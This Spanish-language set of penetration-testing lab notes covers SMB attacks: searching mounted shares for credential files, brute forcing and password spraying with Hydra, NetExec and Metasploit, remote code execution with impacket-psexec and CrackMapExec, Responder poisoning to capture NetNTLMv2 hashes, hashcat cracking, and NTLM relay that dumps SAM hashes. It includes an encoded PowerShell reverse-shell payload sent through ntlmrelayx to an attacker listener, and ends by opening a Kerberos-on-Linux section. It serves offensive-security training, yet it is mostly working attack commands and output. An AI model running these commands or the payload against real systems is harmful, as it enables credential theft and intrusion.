El comando net use conecta un equipo a un recurso compartido, lo desconecta o muestra información sobre las conexiones existentes. Podemos conectarnos a un recurso compartido y asignar su contenido a la letra de unidad n con el siguiente comando.

C:\htb> net use n: \\192.168.220.129\Finance

The command completed successfully.

También podemos proporcionar un nombre de usuario y una contraseña para autenticarnos en el recurso compartido.

C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123

The command completed successfully.

Windows CMD - DIR

Una vez que la carpeta compartida está montada como la unidad N, podemos ejecutar comandos de Windows como si esta carpeta estuviera en nuestro propio equipo.

Veamos cuántos archivos contiene la carpeta compartida y sus subdirectorios.

C:\htb> dir n: /a-d /s /b | find /c ":\"

29302

Encontramos 29.302 archivos. Analicemos el comando:

Syntax

Description

dir

Application

n:

Directory or drive to search

/a-d

/a is the attribute and -d means not directories

/s

Displays files in a specified directory and all subdirectories

/b

Uses bare format (no heading information or summary)

El siguiente comando | find /c ":\\" procesa la salida de dir n: /a-d /s /b para contar cuántos archivos existen en el directorio y sus subdirectorios. Puedes usar dir /? para ver la ayuda completa del comando.

Buscar entre 29,302 archivos puede llevar mucho tiempo, por eso usar scripts o herramientas de línea de comandos nos ayuda a agilizar el proceso. Con dir podemos buscar nombres específicos dentro de los archivos, como por ejemplo:

cred
password
users
secrets
key

Y también extensiones comunes de código fuente como: .cs, .c, .go, .java, .php, .asp, .aspx, .html.

C:\htb>dir n:\*cred* /s /b

n:\Contracts\private\credentials.txt


C:\htb>dir n:\*secret* /s /b

n:\Contracts\private\secret.txt

Windows CMD - Findstr

Si queremos buscar una palabra específica dentro de los archivos de texto, podemos usar el comando findstr.

c:\htb>findstr /s /i cred n:\*.*

n:\Contracts\private\secret.txt:file with all credentials
n:\Contracts\private\credentials.txt:admin:SecureCredentials!

Windows PowerShell

PowerShell fue diseñada para ampliar las capacidades de la consola de comandos tradicional, permitiendo ejecutar comandos propios llamados cmdlets. Los cmdlets son similares a los comandos de Windows, pero ofrecen un lenguaje de scripting mucho más potente y extensible.

En PowerShell podemos ejecutar tanto comandos de Windows como cmdlets, mientras que la consola de comandos (CMD) solo puede ejecutar comandos tradicionales y no puede usar cmdlets de PowerShell.

Ahora vamos a replicar los mismos comandos usando PowerShell.

PS C:\htb> Get-ChildItem \\192.168.220.129\Finance\

    Directory: \\192.168.220.129\Finance

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2/23/2022   3:27 PM                Contracts

En lugar de net use, podemos usar New-PSDrive para montar el recurso compartido:

PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"

Name           Used (GB)     Free (GB) Provider      Root                                               CurrentLocation
----           ---------     --------- --------      ----                                               ---------------
N                                      FileSystem    \\192.168.220.129\Finance

Windows PowerShell - PSCredential Object

Para proporcionar un nombre de usuario y contraseña en PowerShell, necesitamos crear un objeto PSCredential:

PS C:\htb> $username = 'plaintext'
PS C:\htb> $password = 'Password123'
PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred

Name           Used (GB)     Free (GB) Provider      Root                                                              CurrentLocation
----           ---------     --------- --------      ----                                                              ---------------
N                                      FileSystem    \\192.168.220.129\Finance

Windows PowerShell - GCI

Podemos usar Get-ChildItem (o su alias gci) para buscar archivos de forma recursiva:

PS C:\htb> N:
PS N:\> (Get-ChildItem -File -Recurse | Measure-Object).Count

29302

Buscar archivos que contengan “cred” en el nombre:

PS C:\htb> Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

    Directory: N:\Contracts\private

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/23/2022   4:36 PM             25 credentials.txt

Windows PowerShell - Select-String

El cmdlet Select-String utiliza coincidencias con expresiones regulares para buscar patrones de texto en cadenas de entrada y archivos. Podemos usar Select-String de forma similar a grep en UNIX o findstr.exe en Windows.

PS C:\htb> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

N:\Contracts\private\secret.txt:1:file with all credentials
N:\Contracts\private\credentials.txt:1:admin:SecureCredentials!

La línea de comandos permite automatizar tareas rutinarias como la gestión de cuentas de usuario, copias de seguridad nocturnas o la interacción con muchos archivos. Podemos realizar estas operaciones de forma más eficiente utilizando scripts en lugar de la interfaz gráfica (GUI).

Linux

Linux (UNIX) también puede usarse para explorar y montar recursos compartidos SMB. Esto puede hacerse tanto si el servidor de destino es una máquina Windows como si es un servidor Samba. Aunque algunas distribuciones de Linux tienen interfaz gráfica, aquí nos enfocaremos en el uso de herramientas y utilidades de línea de comandos para interactuar con SMB.

Veamos cómo montar recursos compartidos SMB para interactuar localmente con directorios y archivos.

Linux - Mount

gzzcoo@htb[/htb]$ sudo mkdir /mnt/Finance
gzzcoo@htb[/htb]$ sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance

Como alternativa, podemos usar un archivo de credenciales:

gzzcoo@htb[/htb]$ mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfile

El archivo credentialfile debe tener esta estructura:

username=plaintext
password=Password123
domain=.

Nota: necesitamos tener instalado cifs-utils para conectarnos a un recurso compartido SMB. Para instalarlo podemos usar:

sudo apt install cifs-utils

Linux - Find and Grep

Una vez montada la carpeta compartida, podemos usar herramientas comunes de Linux como find o grep para interactuar con la estructura de archivos.

Buscar un archivo cuyo nombre contenga la cadena cred:

gzzcoo@htb[/htb]$ find /mnt/Finance/ -name *cred*

/mnt/Finance/Contracts/private/credentials.txt

gzzcoo@htb[/htb]$ grep -rn /mnt/Finance/ -ie cred

/mnt/Finance/Contracts/private/credentials.txt:1:admin:SecureCredentials!
/mnt/Finance/Contracts/private/secret.txt:1:file with all credentials

Brute Force and Password Spraying

Hydra

gzzcoo@htb[/htb]$ hydra -L user.list -P password.list smb://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid passwords found

NetExec

# Password Spraying sobre un usuario para probar un listado de contraseñas.
nxc smb 10.10.10.10 -u 'user' -p passwords.txt --continue-on-success

# Password Spraying con una contraseña sobre un listado de usuarios.
nxc smb 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success

# Password Spraying sin BruteForce, probar 1 línea de users con 1 línea de passwords, succesivamente.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce

# Ataque de fuerza bruta con un listado de usuarios y contraseñas.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success

Metasploit Framework

gzzcoo@htb[/htb]$ msfconsole -q

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options 

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING   none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS                              yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       false            no        Try the username as the password for all users
   USER_FILE                           no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts


msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list

user_file => user.list


msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list

pass_file => password.list


msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197

rhosts => 10.129.42.197

msf6 auxiliary(scanner/smb/smb_login) > run

[+] 10.129.42.197:445     - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Remote Code Execution

Antes de ver cómo ejecutar comandos en un sistema remoto usando SMB, hablemos de Sysinternals. El sitio web de Windows Sysinternals fue creado en 1996 por Mark Russinovich y Bryce Cogswell, ofreciendo herramientas y recursos técnicos para administrar, diagnosticar, solucionar problemas y monitorear entornos Windows. Microsoft adquirió Sysinternals el 18 de julio de 2006.

Sysinternals incluía varias herramientas gratuitas para administrar sistemas Windows, y una de las más conocidas es PsExec.

PsExec nos permite ejecutar procesos en sistemas remotos sin necesidad de instalar software cliente. Funciona porque lleva un servicio de Windows incorporado dentro de su ejecutable. Este servicio se copia en el recurso compartido admin$ de la máquina remota y se inicia utilizando la API del Service Control Manager a través de DCE/RPC sobre SMB. Luego, se crea una named pipe para enviar los comandos al sistema.

Además de la versión oficial de PsExec, existen implementaciones en Linux, como:

Impacket PsExec – Implementación en Python basada en RemComSvc.
Impacket SMBExec – Similar a PsExec, pero sin usar RemComSvc. Usa un servidor SMB local para recibir salida.
Impacket atexec – Ejecuta comandos usando el Task Scheduler.
CrackMapExec – Incluye implementación de smbexec y atexec.
Metasploit PsExec – Implementación en Ruby del módulo PsExec.

Impacket PsExec

Para usar impacket-psexec, necesitamos proporcionar el dominio/usuario, la contraseña y la dirección IP de la máquina objetivo. Para obtener información más detallada, podemos usar la ayuda de impacket:

gzzcoo@htb[/htb]$ impacket-psexec -h

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
                 target [command ...]

PSEXEC like functionality example using RemComSvc.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)

optional arguments:
  -h, --help            show this help message and exit
  -c pathname           copy the filename for later execution, arguments are passed in the command option
  -path PATH            path of the command to execute
  -file FILE            alternative RemCom binary (be sure it doesn't require CRT)
  -ts                   adds timestamp to every logging output
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
                        it
  -port [destination port]
                        Destination port to connect to SMB Server
  -service-name service_name
                        The name of the service used to trigger the payload
  -remote-binary-name remote_binary_name
                        This will be the name of the executable uploaded on the target

Para conectarnos a una máquina remota usando una cuenta de administrador local con impacket-psexec, podemos utilizar el siguiente comando:

gzzcoo@htb[/htb]$ impacket-psexec administrator:'Password123!'@10.10.110.17

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami && hostname

nt authority\system
WIN7BOX

Las mismas opciones se aplican a las herramientas impacket-smbexec e impacket-atexec.

CrackMapExec

Otra herramienta que podemos usar para ejecutar comandos CMD o PowerShell es CrackMapExec. Una de sus ventajas es que permite ejecutar comandos en múltiples hosts al mismo tiempo.

Para usarla, debemos especificar:

el protocolo, por ejemplo smb
la IP o rango de IPs
la opción -u para el nombre de usuario
la opción -p para la contraseña
la opción -x para ejecutar comandos CMD
la opción -X (mayúscula) para ejecutar comandos PowerShell

gzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

SMB         10.10.110.17 445    WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB         10.10.110.17 445    WIN7BOX  [+] .\Administrator:Password123! (Pwn3d!)
SMB         10.10.110.17 445    WIN7BOX  [+] Executed command via smbexec
SMB         10.10.110.17 445    WIN7BOX  nt authority\system

NetExec

gzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

SMB         10.10.110.17 445    WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB         10.10.110.17 445    WIN7BOX  [+] .\Administrator:Password123! (Pwn3d!)
SMB         10.10.110.17 445    WIN7BOX  [+] Executed command via smbexec
SMB         10.10.110.17 445    WIN7BOX  nt authority\system

Forced Authentication Attacks

También podemos abusar del protocolo SMB creando un servidor SMB falso para capturar los hashes NetNTLM v1/v2 de los usuarios.

La herramienta más común para esto es Responder. Responder es una herramienta de envenenamiento de LLMNR, NBT-NS y MDNS, con varias funcionalidades, entre ellas la posibilidad de levantar servicios falsos, como SMB, para capturar hashes NetNTLM. En su configuración por defecto, escucha tráfico LLMNR y NBT-NS, responde en nombre de los servidores que la víctima busca, y captura los hashes que se generen.

Imaginemos un ejemplo: creamos un servidor SMB falso con Responder usando su configuración por defecto:

gzzcoo@htb[/htb]$ responder -I <interface name>

Cuando una máquina necesita resolver un nombre (Name Resolution), sigue un flujo como este:

Verifica el archivo hosts local (C:\Windows\System32\Drivers\etc\hosts)
Consulta el caché local DNS
Consulta un servidor DNS configurado
Si todo falla, lanza una consulta multicast (LLMNR/NBT-NS)

Si un usuario comete un error al escribir el nombre de una carpeta compartida (por ejemplo, \\mysharefoder\ en lugar de \\mysharedfolder\), y ese nombre no existe, se lanza una consulta a toda la red, incluyéndonos a nosotras con el servidor falso. El sistema no valida las respuestas, así que podemos engañarlo fácilmente y capturar credenciales.

gzzcoo@htb[/htb]$ sudo responder -I ens33

                                         __               
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|              

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0
               
  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

[+] Poisoners:                
    LLMNR                      [ON]
    NBT-NS                     [ON]        
    DNS/MDNS                   [ON]   
                                                                                                                                                                                          
[+] Servers:         
    HTTP server                [ON]                                   
    HTTPS server               [ON]
    WPAD proxy                 [OFF]                                  
    Auth proxy                 [OFF]
    SMB server                 [ON]                                   
    Kerberos server            [ON]                                   
    SQL server                 [ON]                                   
    FTP server                 [ON]                                   
    IMAP server                [ON]                                   
    POP3 server                [ON]                                   
    SMTP server                [ON]                                   
    DNS server                 [ON]                                   
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]                                   
                                                                                   
[+] HTTP Options:                                                                  
    Always serving EXE         [OFF]                                               
    Serving EXE                [OFF]                                               
    Serving HTML               [OFF]                                               
    Upstream Proxy             [OFF]                                               

[+] Poisoning Options:                                                             
    Analyze Mode               [OFF]                                               
    Force WPAD auth            [OFF]                                               
    Force Basic Auth           [OFF]                                               
    Force LM downgrade         [OFF]                                               
    Fingerprint hosts          [OFF]                                               

[+] Generic Options:                                                               
    Responder NIC              [tun0]                                              
    Responder IP               [10.10.14.198]                                      
    Challenge set              [random]                                            
    Don't Respond To Names     ['ISATAP']                                          

[+] Current Session Variables:                                                     
    Responder Machine Name     [WIN-2TY1Z1CIGXH]   
    Responder Domain Name      [HF2L.LOCAL]                                        
    Responder DCE-RPC Port     [48162] 

[+] Listening for events... 

[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[*] [LLMNR]  Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

Estas credenciales capturadas pueden ser crackeadas con hashcat o retransmitidas a una máquina remota para completar la autenticación e impersonar al usuario.

Todos los hashes capturados se guardan en el directorio de logs de Responder: /usr/share/responder/logs/

Nota: si ves múltiples hashes para una misma cuenta, es porque NTLMv2 usa un challenge tanto del cliente como del servidor, y ambos son aleatorios en cada interacción. Esto hace que los hashes generados estén salteados con cadenas aleatorias, por lo tanto no coinciden entre sí, aunque representen la misma contraseña.

gzzcoo@htb[/htb]$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921355
* Keyspace..: 14344386

ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc46296b0ccfc7a231d918ae1dae521:0101000000000000b09b51939ba6d40140c54ed46ad58e890000000002000e004e004f004d00410054004300480001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d0042003100320008003000300000000000000000000000003000004289286eda193b087e214f3e16e2be88fec5d9ff73197456c9a6861ff5b5d3330000000000000000:P@ssword
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc...000000
Time.Started.....: Mon Apr 11 16:49:34 2022 (1 sec)
Time.Estimated...: Mon Apr 11 16:49:35 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1122.4 kH/s (1.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 75776/14344386 (0.53%)
Rejected.........: 0/75776 (0.00%)
Restore.Point....: 73728/14344386 (0.51%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: compu -> kodiak1

Started: Mon Apr 11 16:49:34 2022
Stopped: Mon Apr 11 16:49:37 2022

El hash NTLMv2 fue descifrado. La contraseña es P@ssword. Si no podemos descifrar el hash, podemos potencialmente reenviarlo a otra máquina usando impacket-ntlmrelayx o Responder MultiRelay.py. Veamos un ejemplo usando impacket-ntlmrelayx.

Primero, necesitamos establecer SMB en OFF en nuestro archivo de configuración de responder (/etc/responder/Responder.conf).

gzzcoo@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off

Luego ejecutamos impacket-ntlmrelayx con la opción --no-http-server, -smb2support, y la máquina objetivo con la opción -t. Por defecto, impacket-ntlmrelayx volcará la base de datos SAM, pero podemos ejecutar comandos agregando la opción -c.

gzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

<SNIP>

[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections

[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xeb0432b45874953711ad55884094e9d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92512f2605074cfc341a7f16e5fabf08:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Done dumping SAM hashes for host: 10.10.110.146
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

gzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'

Una vez que la víctima se autentica contra nuestro servidor, envenenamos la respuesta y forzamos la ejecución del comando, obteniendo la reverse shell:

gzzcoo@htb[/htb]$ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471

PS C:\Windows\system32> whoami;hostname

nt authority\system
WIN11BOX

From Linux

Introduction

Aunque no es lo más común, los equipos Linux pueden conectarse a Active Directory para ofrecer una gestión centralizada de identidades e integrarse con los sistemas de la organización. Esto permite que los usuarios tengan una única identidad para autenticarse tanto en equipos Linux como Windows.

Un equipo Linux conectado a Active Directory suele utilizar Kerberos como método de autenticación. Si este es el caso y logramos comprometer una máquina Linux unida al dominio, podríamos intentar buscar tickets Kerberos para suplantar a otros usuarios y obtener más acceso dentro de la red.

Un sistema Linux puede estar configurado de diferentes maneras para almacenar tickets Kerberos, y en esta sección vamos a ver algunas de esas opciones.

Nota: Una máquina Linux que no esté unida a Active Directory también puede usar tickets Kerberos, por ejemplo, en scripts o para autenticarse en la red. No es necesario estar unido al dominio para utilizar tickets Kerberos desde un sistema Linux.

Kerberos on Linux

Windows y Linux utilizan el mismo proceso para solicitar un Ticket Granting Ticket (TGT) y un Service Ticket (TGS). Sin embargo, la forma en que se almacenan los tickets puede variar según la distribución de Linux y la implementación utilizada.

En la mayoría de los casos, las máquinas Linux almacenan los tickets Kerberos como archivos ccache en el directorio /tmp. Por defecto, la ubicación del ticket Kerberos se define en la variable de entorno KRB5CCNAME. Esta variable nos puede indicar si se están utilizando tickets Kerberos o si se ha cambiado la ruta por defecto donde se almacenan. Estos archivos .ccache están protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o root puede acceder fácilmente a ellos.

Otro uso muy común de Kerberos en Linux es a través de los archivos keytab. Un keytab es un archivo que contiene pares de principales Kerberos y claves cifradas (derivadas de la contraseña de Kerberos). Estos archivos permiten autenticarse en sistemas remotos usando Kerberos sin necesidad de introducir una contraseña. Eso sí, si el usuario cambia su contraseña, es necesario recrear los archivos keytab.

Los archivos keytab suelen usarse para que scripts puedan autenticarse automáticamente usando Kerberos, sin intervención humana ni necesidad de guardar la contraseña en texto plano. Por ejemplo, un script podría usar un keytab para acceder a archivos compartidos en un recurso de red de Windows.

Nota: Cualquier equipo que tenga un cliente Kerberos instalado puede crear archivos keytab. Estos pueden generarse en una máquina y luego copiarse a otras, ya que no están limitados al sistema donde fueron creados originalmente.

Scenario

Para practicar y entender cómo podemos abusar de Kerberos desde un sistema Linux, contamos con una máquina llamada LINUX01 conectada al Domain Controller. Esta máquina solo es accesible a través de MS01.

Para acceder a LINUX01 por SSH, tenemos dos opciones:

Conectarnos primero a MS01 mediante RDP y, desde ahí, usar el comando SSH en la línea de comandos de Windows para conectar con la máquina Linux.
Usar una técnica de port forwarding para redirigir el tráfico SSH hacia LINUX01.

Linux Auth from MS01 Image

Linux Auth via Port Forward

Como alternativa, creamos un port forwarding para simplificar la interacción con LINUX01. Al conectarnos al puerto TCP/2222 en MS01, obtendremos acceso al puerto TCP/22 en LINUX01.

Supongamos que estamos en una nueva evaluación, y la empresa nos da acceso a LINUX01 y al usuario david@inlanefreight.htb y contraseña Password2.

gzzcoo@htb[/htb]$ ssh david@inlanefreight.htb@10.129.204.23 -p 2222

david@inlanefreight.htb@10.129.204.23's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 11 Oct 2022 09:30:58 AM UTC

  System load:  0.09               Processes:               227
  Usage of /:   38.1% of 13.70GB   Users logged in:         2
  Memory usage: 32%                IPv4 address for ens160: 172.16.1.15
  Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

12 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

New release '22.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Last login: Tue Oct 11 09:30:46 2022 from 172.16.1.5
david@inlanefreight.htb@linux01:~$

Identifying Linux and Active Directory Integration

realm - Check If Linux Machine is Domain Joined

david@inlanefreight.htb@linux01:~$ realm list

inlanefreight.htb
  type: kerberos
  realm-name: INLANEFREIGHT.HTB
